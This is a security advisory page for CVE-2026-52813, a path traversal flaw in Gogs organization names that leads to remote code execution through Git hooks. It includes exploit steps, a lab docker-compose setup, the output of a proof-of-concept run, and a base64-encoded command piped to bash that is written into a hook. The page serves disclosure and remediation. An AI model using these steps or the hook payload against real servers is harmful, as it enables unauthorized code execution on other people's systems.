CVE-2026-52813: Gogs: Path Traversal in organization name results in RCE through Git hooks

Published Jun 23, 2026
·
Updated

Summary

Organization names containing path traversal sequences (../) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem. By creating nested structure of Git repositories, one can overwrite the other's hooks configuration to result in Remote Code Execution (RCE).

Details

During organization creation, internal/database/org.go calls os.MkdirAll(repox.UserPath(org.Name)) without sanitizing org.Name.

https://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/database/org.go#L165

Repository creation uses this name to decide where to write the Git bare repository's (org/name.git). By setting the org name to ../../../../tmp/test, and creating a repository under that organization, it gets written under /tmp/test on the server.

https://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/repox/repox.go#L57-L58

An attacker can abuse this in a clever way by writing to the /data/gogs/data/tmp/local-r/1 directory, being a local worktree of the git repositories inside of Gogs. These directories are editable by Git. By creating a repository nested inside of there, files like config and hooks/update are now referenced through the path traversal, and are editable by Git. This allows the attacker to edit the hooks/update script with malicious Bash commands and then to trigger the hook.

The steps to exploit this inside of Gogs are roughly (ignoring some syncing dummy actions):

1. Create regular outer repository and get its ID 2. Create organization named ../../../../data/gogs/data/tmp/local-r/{ID}/nested 3. Create a repository inside this organization (eg. rce), which will be written into the local clone of the outer repository 4. From the outer repository, edit nested/rce.git/hooks/update to contain malicious shell commands 5. Interact with the rce repository again to trigger the updated hook, and RCE is achieved

PoC

1. Set up a default Gogs instance by saving the following content to docker-compose.yml and running docker compose up:

yml services: db: image: postgres:16-alpine environment: POSTGRESUSER: gogs POSTGRESPASSWORD: gogs POSTGRESDB: gogs volumes: - postgres-data:/var/lib/postgresql/data restart: unless-stopped healthcheck: test: [ "CMD-SHELL", "pgisready -U gogs -d gogs" ] interval: 5s timeout: 5s retries: 5

gogs: image: gogs/gogs dependson: db: condition: servicehealthy ports: - "3000:3000" volumes: - gogs-data:/data restart: unless-stopped

volumes: gogs-data: postgres-data:

2. Visit http://localhost:3000, set the Host to db:5432 and Password to gogs. Under Admin Account Settings configure your admin account 3. As the attacker, register an account with username attacker and password attacker at http://localhost:3000/user/signup 4. As the attacker, run the following script (in gist to avoid cluttering this advisory):

https://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9

The output should look like:

shell $ python3 gogs-rce.py step 1 token ok step 2 create personal repo 201 fullname attacker/writer-bd426045 step 3 web editor new file on attacker / writer-bd426045 step 4 GET writer repo -> local-r 1 step 5 create org 201 local-r 1 username ../../../../data/gogs/data/tmp/local-r/1/nested step 6 get org 200 username ../../../../data/gogs/data/tmp/local-r/1/nested step 7 create repo 201 fullname ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 htmlurl http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 cloneurl http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7.git step 8 get repo 200 owner.username ../../../../data/gogs/data/tmp/local-r/1/nested fullname ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 empty False Cloning into '/tmp/poc-writer-fy4k5064'... remote: Enumerating objects: 6, done. remote: Counting objects: 100% (6/6), done. remote: Compressing objects: 100% (3/3), done. remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0) Unpacking objects: 100% (6/6), 491 bytes | 491.00 KiB/s, done. step 9 clone writer repo -> /tmp/poc-writer-fy4k5064 [master 3cf84b2] poc: nested/rce-b175aca7.git hook path 1 file changed, 1 insertion(+) create mode 100755 nested/rce-b175aca7.git/hooks/update step 10 write nested/rce-b175aca7.git/hooks/update with echo 'aWQ=' | base64 -d | bash > pwned Enumerating objects: 7, done. Counting objects: 100% (7/7), done. Delta compression using up to 14 threads Compressing objects: 100% (2/2), done. Writing objects: 100% (6/6), 1022 bytes | 1022.00 KiB/s, done. Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 To http://localhost:3000/attacker/writer-bd426045.git b0b9886..3cf84b2 master -> master step 11 push writer step 12 API new file on attacker / writer-bd426045 step 13 API new file on org ../../../../data/gogs/data/tmp/local-r/1/nested / rce-b175aca7 step 14 API new file on attacker / writer-bd426045 step 15 GET raw pwned 200 http://localhost:3000/attacker/writer-bd426045/raw/master/nested/rce-b175aca7.git/pwned

=== COMMAND OUTPUT === uid=1000(git) gid=1000(git) groups=1000(git)

Impact

In the default setting, users can self-register and then create their own organizations. From here they can perform this exploit to achieve RCE as the git user.

Other sources

Gogs is an open source self-hosted Git service. Prior to 0.14.3, organization names containing path traversal sequences (../) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem. By creating nested structure of Git repositories, one can overwrite the other's hooks configuration to result in Remote Code Execution (RCE). This vulnerability is fixed in 0.14.3.

MITRE

Affected Software

1 affected componentFixes available
go/gogs.io/gogs<0.14.3
0.14.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/gogs.io/gogs to a version that resolves this vulnerability.

    Fixed in 0.14.3
  2. Upgrade

    Upgrade gogs to a version that resolves this vulnerability.

    Fixed in 0.14.3
  3. Configuration

    Prevent path traversal in organization names so that organization names containing `../` are not accepted (vulnerability exists prior to 0.14.3, where `../` was accepted and repository paths were written following traversal).

    Gogs organization name = disallow or sanitize path traversal sequences (../)
  4. Compensating control

    Restrict access to Gogs self-service features that allow untrusted users to register and create organizations (the PoC assumes self-registration is enabled and attacker can create organizations).

Event History

Jun 23, 2026
Advisory Published
via GitHub·05:10 PM
Data Sourced
via GitHub·05:10 PM
DescriptionSeverityWeaknessAffected Software
Jun 24, 2026
CVE Published
via MITRE·08:33 PM
Data Sourced
via MITRE·08:33 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeakness
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-52813?

CVE-2026-52813 has a severity rating of critical with a score of 10.

2

What is the risk associated with CVE-2026-52813?

The risk associated with CVE-2026-52813 is rated at 87.

3

How do I fix CVE-2026-52813?

To fix CVE-2026-52813, ensure you update to the latest version of Gogs that addresses this path traversal vulnerability.

4

What causes CVE-2026-52813?

CVE-2026-52813 is caused by Gogs accepting organization names containing path traversal sequences that can lead to arbitrary file system access.

5

What impact does CVE-2026-52813 have on system security?

CVE-2026-52813 allows unauthorized access to sensitive data by enabling storage and retrieval at arbitrary locations on the file system.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203